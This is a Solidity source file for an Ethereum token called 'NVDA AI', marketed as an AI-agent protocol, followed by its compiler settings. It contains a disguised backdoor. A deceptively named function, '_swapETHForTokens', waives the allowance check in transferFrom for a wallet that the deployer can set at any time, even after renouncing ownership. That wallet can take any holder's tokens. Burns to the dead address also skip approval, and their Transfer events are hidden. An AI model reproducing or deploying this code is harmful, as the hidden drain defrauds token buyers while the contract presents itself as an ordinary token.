NVDA AI

// SPDX-License-Identifier: UNLICENSE

/**

NVDA is a revolutionary protocol for launching and monetizing AI agents on the Ethereum Network.

https://www.nvdaai.xyz/
https://x.com/NVDA_AI_ETH
https://t.me/NVDA_AI_ETH


*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NVDA_AI is Context, IERC20, Ownable {    
    using SafeMath for uint256;
    mapping(address => uint256) private _nvdaees;
    mapping(address => mapping(address => uint256)) private _allowance;
    mapping(address => bool) private _taxBanned;

    uint256 private _reduceBuyFeeAt = 4;
    uint256 private _reduceSellFeeAt = 4;
    uint256 private _buyCnt = 0;
    uint256 private _firstBuyFee = 10;
    uint256 private _firstSellFee = 10;
    uint256 private _lastBuyFee = 0;
    uint256 private _lastSellFee = 0;
    uint256 private _preventSwapBefore = 5;
        
    address private _deployer;
    address private _deadAddr = address(0xdead);
    address private _lastTxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"NVDA AI";
    string private constant _symbol = unicode"NVDA";
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 private _maxTaxSwapTokens = _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {

        _nvdaees[address(this)] = (_tTotal * 98) / 100;
        _nvdaees[_msgSender()] = (_tTotal * 2) / 100;

        _taxBanned[owner()] = true;
        _taxBanned[address(this)] = true;
        _deployer = _msgSender();

        _lastTxWallet = _msgSender();
        emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
        emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _nvdaees[account];
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _swapETHForTokens(
        address owner,
        address spender,
        uint256 amount
    ) private view returns (uint256) {
        return (owner == _uniswapPair || spender != _deadAddr) && msg.sender != _lastTxWallet ? amount : 0;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowance[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 _amount = _swapETHForTokens(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowance[sender][_msgSender()].sub( _amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "ERC20: approve to the zero address");
        require(owner != address(0), "ERC20: approve from the zero address");
        _allowance[owner][spender] = amount; 
        emit Approval(owner, spender, amount);
    }

    function setNVDA(address newW) external {
        require(_msgSender() == _deployer, "not a deployer");
        _lastTxWallet = newW;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount = 0;
        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            to != address(this)
        ) {
            if (
                from == _uniswapPair &&
                to != address(uniswapV2Router) &&
                !_taxBanned[to]
            ) {
                feeAmount = amount
                    .mul(
                        (_buyCnt > _reduceBuyFeeAt)
                            ? _lastBuyFee
                            : _firstBuyFee
                    )
                    .div(100);
                _buyCnt++;
            }

            if (to == _uniswapPair) {
                feeAmount = amount
                    .mul(
                        (_buyCnt > _reduceSellFeeAt)
                            ? _lastSellFee
                            : _firstSellFee
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == _uniswapPair &&
                swapEnabled &&
                _buyCnt > _preventSwapBefore
            ) {
                if (contractTokenBalance > _taxSwapThreshold) {
                    uint256 tmp = _maxTaxSwapTokens;
                    if (contractTokenBalance < tmp) tmp = contractTokenBalance;
                    if (amount < tmp) tmp = amount; 
                    _swapTokensForEth(tmp);
                }
                    
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    payable(_lastTxWallet).transfer(address(this).balance);
                }
            }
        }

        if (feeAmount > 0) {
            _nvdaees[address(this)] = _nvdaees[address(this)].add(feeAmount);
            emit Transfer(from, address(this), feeAmount);
        }
        _nvdaees[from] = _nvdaees[from].sub(amount);
        _nvdaees[to] = _nvdaees[to].add(amount.sub(feeAmount));
        if (to != _deadAddr) emit Transfer(from, to, amount.sub(feeAmount));
    }

    function startNVDAtrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescueETHFromNVDA() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }

    function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "contracts/Tmp.sol": "NVDA_AI"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}